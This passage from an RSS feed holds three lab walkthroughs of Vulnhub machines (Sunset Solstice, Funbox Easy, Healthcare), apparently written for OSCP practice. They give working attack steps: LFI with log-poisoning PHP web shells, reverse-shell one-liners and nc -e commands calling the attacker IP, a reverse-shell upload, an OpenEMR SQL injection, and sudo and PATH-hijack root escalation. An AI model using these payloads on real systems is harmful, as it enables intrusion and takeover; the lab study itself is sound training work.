            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AdlbpjtH_NwizqulnRo3kg.png" /></figure><p>Link to Vulnhub: <a href="https://www.vulnhub.com/entry/sunset-solstice,499/">https://www.vulnhub.com/entry/funbox-easy,526/</a><br>You can play this machine free from here: <a href="https://portal.offsec.com/labs/play">https://portal.offsec.com/labs/play</a></p><h4>Difficulty:</h4><p>Intermediate</p><h4>Goal:</h4><p>Read user and root flag</p><blockquote><em>Victim IP:</em>192.168.175.72<em><br>Attacker IP (Kali Linux): </em>192.168.45.164</blockquote><blockquote>For any correction / query /suggestion contact on<br><strong>Instagram</strong> <a href="https://instagram.com/dollarboysushil">dollarboysushil</a><br><strong>Twitter (X)</strong> <a href="https://twitter.com/dollarboysushil">dollarboysushil</a><br><strong>Youtube</strong> <a href="https://youtube.com/dollarboysushil">dollarboysushil</a></blockquote><h4>Reconnaissance</h4><p>Use cmd nmap -sC -sV -p- 192.168.175.72 to view running services on the victim machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*02u83T7c9DPZXyg38H-9Cw.png" /></figure><p>-sC for default scripts,-sV for version enumeration and -p- to scan all ports.</p><h4>Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*mvbqNtXfisrRVwYOEh2j9Q.png" /></figure><p>Visiting port 8593 we can see simple website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*o9M7YEZWVn_7ZduQs0Ri0A.png" /></figure><p>If we click on Book List then we can see the url<br>192.168.157:8593/index.php?book=list which might be vulnerable to LFI (Local File Inclusion)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oe-wKZb04ORf_sIwPK0vXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RyJ6KbC1anxFAdytfalkmw.png" /></figure><p>If we modify the parameter book to ../../../../../../../../../../etc/passwd then we can see the content inside the passwd file, which conforms the LFI vulnerability.</p><p>Now our next step would be to upgrade LFI to RCE <br>Local File Inclusion to Remote Code Execution for which we will be using log poisoning method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*l0ZFvnBtahc0Snj3DclGcA.png" /></figure><p>From the nmap scan we know Apache service running port 80 .<br>And Apache log file is stored on directory /var/log/apache2/access.log <br>Lets try to open this log file using LFI .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NyKWVGadTiyCCC3CnRHLOA.png" /></figure><p>whenever we refresh website on port 80 we get new entry in this log file.</p><p>Which means we can intercept the request change the one of parameter to malicious php code and send this request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I9b_eNFvMYxAJelGQudLTQ.png" /></figure><p>Intercept the request using burpsuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*on9AtiLGrIIzR--nDIq2VA.png" /></figure><p>Change the User-Agent parameter to &lt;?php system($_GET[‘cmd’]); ?&gt; <br>(for command injection attack) and send the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YT95I7OlOxJtX9WwUs-a0w.png" /></figure><p>When viewing the log file after injecting the payload, we dont have entry for parameter User-Agent which is what we are expecting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTMYJEpOpiX-up1JvMU-iA.png" /></figure><p>We can then add &amp;cmd=id which gives us the result of command id which completes command injection attack.</p><p>Now we can run any command we like.</p><p>With this power our next aim would be to get reverse shell.<br>For which I will be using pentestmonkey cheatsheet.</p><p><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">Reverse Shell Cheat Sheet</a></p><p>I will be using php one liner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*yWAvWkFXD9V2DEZqiPVmpQ.png" /></figure><pre>php -r &#39;$sock=fsockopen(&quot;192.168.45.164&quot;,6565);exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);&#39;</pre><p>Make sure to change the ip to your attacker machine and remember the port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*QqMb6oqsU5gs-EC96TM3Wg.png" /></figure><p>Now url encode this code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*yK-WwosecpyCorqeAyqErA.png" /></figure><p>Before running the command make netcat listener ready.<br>Use same port used before in the php one liner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m-kfs0UlXfdvG9d6sIveTQ.png" /></figure><p>Then run the command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*PxYvwaXbg86u6igm-BDsKw.png" /></figure><p>We should have shell as user www-data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*D1W_fNABJg-oRrmZ06qLrA.png" /></figure><p>run command python -c ‘import pty; pty.spawn(“/bin/bash”)’ to upgrade the shell.</p><h4>Privilege Escalation</h4><p>For pric esc, I tried searching for suid binaries, cronjobs and other steps.<br>Among which, when I was looking for processes running with root (superuser) privileges, we got interesting entries.</p><p>ps -aux | grep root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b_y5KQ-mzn_RxmTrjvvdug.png" /></figure><p>root 490 0.0 2.0 196744 20976 ? S 07:19 0:00 /usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/</p><p>The output indicates that there is a process with process ID 490 running as the root user. The command being executed is /usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/. Let’s break down the command:</p><p>-S 127.0.0.1:57: This flag is used to specify the address and port on which the built-in PHP web server should listen. In this case, it&#39;s set to 127.0.0.1:57</p><p>-t /var/tmp/sv/: This flag is used to specify the document root (the directory where the PHP server should look for files to serve). In this case, it&#39;s set to /var/tmp/sv/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*2O0qr0FDav0FTejJwcWChw.png" /></figure><p>Visiting the /var/tmp/sv we can see index.php which have read write and executable permissions for all users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*19q6hbtsqomt1-cDLdKx7Q.png" /></figure><p>There is simple php command which echo’s “Under Construction”.<br>Since this php file is run by root and we have write permission, we can change the content of the file to malicious php code which will give us reverse shell.</p><p>&lt;?php system(‘nc 192.168.45.164 4567 -e /bin/bash’)?&gt; <br>we will be using this php code to get reverse shell, change the ip to your attacker’s ip and remember the port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*NBIjpFtqxlZ49hS_qn7oPQ.png" /></figure><p>Using echo command, override the content of index.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*kz5_z-Tw2E03EmwrbVvH4g.png" /></figure><p>Make sure netcat listener is ready.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*u079S4okH6raOiT637dZfg.png" /></figure><p>We can now trigger the index.php using command curl 127.0.0.1:57</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*1jQ0dUQgE7HHvpoRWxBzkg.png" /></figure><p>And we have shell as user root.txt <br>Which means we can cat out the root.txt</p><p>bdac82721d14f8e7072c6ade3ba3b489</p><p>Now comes turn of user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*4l6XLXOgBKJt9d0HIoIlSA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/435/1*X8w97C7ry0NZPsDd9o8VRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*aTdGzVwCGLJ-egh9Uam58g.png" /></figure><p>Which completes the machine.</p><blockquote><em>For any correction / query /suggestion contact on<br></em><strong><em>Instagram</em></strong><em> </em><a href="https://instagram.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong><em>Twitter (X)</em></strong><em> </em><a href="https://twitter.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong><em>Youtube</em></strong><em> </em><a href="https://youtube.com/dollarboysushil"><em>dollarboysushil</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=202d44c10743" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vulnhub-sunset-solstice-walkthrough-oscp-prep-by-dollarboysushil-202d44c10743">Vulnhub: Sunset: Solstice Walkthrough (OSCP PREP) [by dollarboysushil]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub: Funbox: Easy Walkthrough (OSCP PREP) [by dollarboysushil]]]></title>
            <link>https://infosecwriteups.com/vulnhub-funbox-easy-walkthrough-oscp-prep-by-dollarboysushil-7f5583501526?source=rss-373677567685------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f5583501526</guid>
            <category><![CDATA[fun-box]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[dollarboysushil]]></dc:creator>
            <pubDate>Sat, 13 Jan 2024 10:50:06 GMT</pubDate>
            <atom:updated>2024-01-17T14:47:48.154Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QzUNS0RKvL7YZPR0ywI58Q.png" /></figure><p>Link to Vulnhub: <a href="https://www.vulnhub.com/entry/funbox-easy,526/">https://www.vulnhub.com/entry/funbox-easy,526/</a><br>You can play this machine free from here: <a href="https://portal.offsec.com/labs/play">https://portal.offsec.com/labs/play</a></p><h4>Difficulty:</h4><p>Easy</p><h4>Goal:</h4><p>Read flag inside /root</p><blockquote><em>Victim IP: </em>192.168.220.111<em><br>Attacker IP (Kali Linux): </em>192.168.45.165</blockquote><blockquote><em>For any correction / query /suggestion contact on<br></em><strong><em>Instagram</em></strong><em> </em><a href="https://instagram.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong><em>Twitter (X)</em></strong><em> </em><a href="https://twitter.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong><em>Youtube</em></strong><em> </em><a href="https://youtube.com/dollarboysushil"><em>dollarboysushil</em></a></blockquote><h3>Reconnaissance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*_YqOZQnzgypkJXoqcPctlQ.png" /></figure><p>Frist run command nmap 192.168.220.111 to view the open ports. Which reveals two ports 22 adn 80. Then run <br>nmap -sC -sV -p 22,80 192.168.220.111</p><p>-sC for default scripts,-sV for version enumeration and -p to specify the ports.</p><p>Looking at the result we can see<br>port 22 ssh<br>port 80 http</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RZtA-lJjfDSRK2hknjvmPQ.png" /></figure><p>Visiting the ip, you can see simple apache default page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*zs8rq0fCXjS3g-ntZXMDiw.png" /></figure><p>Then running gobuster reveals hidden directory,<br>/store /admin and /secret</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x4Wzqu7cZUOD5pC46K2URA.png" /></figure><p>At /store , we can see online CSE bookstore.<br>If you do simple search for CSE bookstore we can see it is vulnerable to Unauthenticated Remote Code Execution exploit</p><p><a href="https://www.exploit-db.com/exploits/47887">OffSec&#39;s Exploit Database Archive</a></p><p>I will not be using this exploit. I will do manual process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xTyM4NoSeYYDeLXyQSMHZw.png" /></figure><p>In the CSE backstore login page, I tried to enter some default credentials<br>and luckly admin:admin woked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZTXkFoV3_bqFfw-iifPwDw.png" /></figure><p>After successful login, we are greeted with section to add new book and we have option to edit added books.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d6dmUcSz7Q_Qy0i9TnN0Tw.png" /></figure><p>When clicking on edit option, we are greeted with this section. If you look closely, we have option to upload files.<br>With this option, our next step would be to upload a reverse shell and get ourself a shell.</p><p>So lets prepare a reverse shell.</p><p>I will be using php reverse shell from pentestmonkey</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell">GitHub - pentestmonkey/php-reverse-shell</a></p><p>Download the php script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*HEVrG8ux0CeNEMCi3DMf8g.png" /></figure><p>Make sure to change the $ip to your attacker’s machine’s ip. Changing $port is optional, we will need this later.</p><p>After changes are done, save and upload this reverse shell.</p><p>We have successfully uploaded the reverse shell, now we need to find the location where it is stored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4InS-Ii0K7SywUMAwcx8PQ.png" /></figure><p>To find the location, I again ran gobuster and found some interesting directories.<br>Among which /bootstrap is what we need.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*st6aTjsnZePI46tVO_5KUw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*a0ARXpGpNohAtZ3--SzrPA.png" /></figure><p>Under /bootstrap/img we can see our reverse shell stored.</p><p>Before running the reverse shell, we need to make sure netcat listner is ready.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*KwNngygEg4Teb8MN4IH10w.png" /></figure><p>To make netcat listener ready, use command <br>nc -lnvp 443 use same port you used in the reverse shell file.</p><p>Now we are ready, simply click the reverse shell from /bootstrap/img</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*mvrNolhjFHzWas3fEqL60w.png" /></figure><p>And we have shell as www-data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*IvWKH5MJk2Wn3O_nReFbXQ.png" /></figure><p>Under /home we can see one user tony under /home/tony <br>we have jackpot password.txt</p><p>ssh: yxcvbnmYYY <br>gym/admin: asdfghjklXXX <br>/store: <a href="/service/mailto:admin@admin.com">admin@admin.com</a> admin</p><p>we now have ssh password, lets try to login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*uSkCW8XsXb7Ip1QqYw9sfQ.png" /></figure><p>And we are successfully logged in as user tony.</p><p>Our next step to get root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*m4a7Q5DK77hbuTd3QGLqZA.png" /></figure><p>Running command sudo -l we can see some interesting things.<br>User tony can above command as root.</p><p>Which we can use to get a root shell.</p><p><a href="https://gtfobins.github.io/">GTFOBins</a></p><p>Lets use GTFOBins</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*7SMXS-r3P6eqWVVYM_Pqxw.png" /></figure><p>From the result of sudo -l I searched for each entries, and we have some interesting thing for binary pkexec <br>We can use pkexec to drop elevated privilges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*1LboELzOb9o0oNcZanJblA.png" /></figure><p>Running sudo pkexec /bin/sh <br>We have root shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/378/1*zZE8GcUPbacUlwHc-8kZqA.png" /></figure><p>And we can read the flag proof.txt</p><p>7ad87c789be895d7bde85d9216c16e8e</p><blockquote><em>For any correction / query /suggestion contact on<br></em><strong><em>Instagram</em></strong><em> </em><a href="https://instagram.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong><em>Twitter (X)</em></strong><em> </em><a href="https://twitter.com/dollarboysushil"><em>dollarboysushil</em></a><em><br></em><strong><em>Youtube</em></strong><em> </em><a href="https://youtube.com/dollarboysushil"><em>dollarboysushil</em></a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f5583501526" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vulnhub-funbox-easy-walkthrough-oscp-prep-by-dollarboysushil-7f5583501526">Vulnhub: Funbox: Easy Walkthrough (OSCP PREP) [by dollarboysushil]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub: Healthcare: 1 Walkthrough (OSCP PREP) [by dollarboysushil]]]></title>
            <link>https://infosecwriteups.com/vulnhub-healthcare-1-walkthrough-oscp-prep-by-dollarboysushil-f8c5e43e3e0a?source=rss-373677567685------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8c5e43e3e0a</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[healthcare]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[dollarboysushil]]></dc:creator>
            <pubDate>Fri, 12 Jan 2024 18:49:27 GMT</pubDate>
            <atom:updated>2024-01-17T14:47:20.966Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8HnUPfVForhpZu5VcrcJFA.png" /></figure><p>Link to Vulnub: <a href="https://www.vulnhub.com/entry/healthcare-1,522/">https://www.vulnhub.com/entry/healthcare-1,522/</a></p><h4>Difficulty:</h4><p>Easy / Intermediate</p><h4>Goal:</h4><p>Read root.txt inside /root</p><blockquote><em>Victim IP: 192.168.1.137<br>Attacker IP (Kali Linux): 192.168.1.128</em></blockquote><blockquote>For any correction / query /suggestion contact on<br><strong>Instagram</strong> <a href="https://instagram.com/dollarboysushil">dollarboysushil</a><br><strong>Twitter (X)</strong> <a href="https://twitter.com/dollarboysushil">dollarboysushil</a><br><strong>Youtube</strong> <a href="https://youtube.com/dollarboysushil">dollarboysushil</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*a41cU9avCBdjcoq5MDrdQw.png" /></figure><p>Healthcare machine after boot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*6BExsJVL2CB_XrX11pTYug.png" /></figure><p>You can use netdiscover tool to find ip of Healthcare<br>sudo netdiscover</p><h4>Reconnaissance</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*uLtJRpHScZnpolNDoQnz7g.png" /></figure><p>nmap -sC -sV 192.168.1.137<br>-sC for default scripts,-sV for version enumeration and -p- to scan all ports.</p><p>Looking at the nmap result, we can see services ftp and http</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TbGdLE8CUvrHwcgYlE_4mA.png" /></figure><p>Visiting the ip , we can see webiste under construction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*nxYTq3Oue3FyUUinqv7Y4g.png" /></figure><p>Visiting the /robots.txt , nothing of interest is found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yITXzLvQcH3aB4YDOY4f-w.png" /></figure><p>Running Gobuster with medium wordlist was not of use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h5tULcJQ8Cw_rlntj5TCUQ.png" /></figure><p>But running gobuster with big directory list reveals us one interesting directory /openemr</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XG2KopIykm7vD5vzbqvE_A.png" /></figure><p>Visiting the /openemr we can see medical practice management application.</p><p>We can see it is using OpenEMR v4.1.0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pc5fROtr0zk_eg_vHqDpLA.png" /></figure><p>Doing simple google search OpenEMR v4.1.0 we can see this version is vulnerable to SQL Injection and we can get the python exploit from exploit-db</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*sCPH0bdphb3MVgBpev_9-w.png" /></figure><p>Download the exploit and change the IP to victim’s</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*AzranaWJJrRlCYRfG3AUlw.png" /></figure><p>Then run the exploit.<br>It will take some time to retrieve credentials</p><p>admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8 medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XwOoq4TcNs1JRyIjXWV0NQ.png" /></figure><p>Using crackstation.net we can easily crack the hash.</p><p>admin:ackbar<br>medical:medical</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t_qwHvtnLIhsFigTZjazyA.png" /></figure><p>Then we can login as user admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WhfJF7f_Etw8taipQG_XjQ.png" /></figure><p>Visiting Others tab inside Administrator field we can see config.php</p><p>In this php file, we will change it with php reverse shell from pentestmonkey.</p><p><a href="https://github.com/pentestmonkey/php-reverse-shell">GitHub - pentestmonkey/php-reverse-shell</a></p><p>Make sure to change the $ip to your machines ip and remember the $port and remove the previous code from config.php and paste this new php code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*akERQTSRkNpDSQcLBy25XQ.png" /></figure><p>Make netcat listener ready using command nc -lnvp 443</p><p>In the config.php save and reopen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*7VOkBwebJ92FEw1YNOjc0w.png" /></figure><p>We should get shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*tUD40euETlztrXk0zgJV0A.png" /></figure><p>Then searching for suid binary files, healthcheck seems interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*ucNzMlpBf0kDOo7XZi8S8Q.png" /></figure><p>Looking at the contents we can see this file is using command fdisk</p><h4>Privilege Escalation</h4><p>For the privilege escalation exploiting path variable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*WY-GS62JqXGGvwgOFnJu5A.png" /></figure><p>Currently path variable is set to as shown above.<br>When executing fdisk, it will first search inside the /sbin and so on in the path variable.</p><p>We are going to change this path variable by adding /tmp directory in the starting of path variable.</p><p>And we will be creating malicious fdisk file inside /tmp directory, so that when it searches for fdisk it will go into /tmp directory and when it finds fdisk there, it will execute it.</p><p>Inside the malicious file we will add command to open bash , since the file healthcheck has suid permission it will run code as root and hence we should have bash as user root.</p><p>move into /tmp directory, <br>and run echo “/bin/bash” &gt; fdisk</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*OBxxFmefrMHuG8buGOSi6w.png" /></figure><p>then chmod +x fdisk to make it executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*dvDhDRIc0cgeu9qmD8pa_A.png" /></figure><p>Then run healthcheck binary using/usr/bin/healthcheck command.</p><p>We should get shell as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ugqo76rcdXSPGbNe-JgCnQ.png" /></figure><p>Then we can easily read the root.txt</p><p>root hash: eaff25eaa9ffc8b62e3dfebf70e83a7b</p><blockquote>For any correction / query /suggestion contact on<br><strong>Instagram</strong> <a href="https://instagram.com/dollarboysushil">dollarboysushil</a><br><strong>Twitter (X)</strong> <a href="https://twitter.com/dollarboysushil">dollarboysushil</a><br><strong>Youtube</strong> <a href="https://youtube.com/dollarboysushil">dollarboysushil</a></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8c5e43e3e0a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/vulnhub-healthcare-1-walkthrough-oscp-prep-by-dollarboysushil-f8c5e43e3e0a">Vulnhub: Healthcare: 1 Walkthrough (OSCP PREP) [by dollarboysushil]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>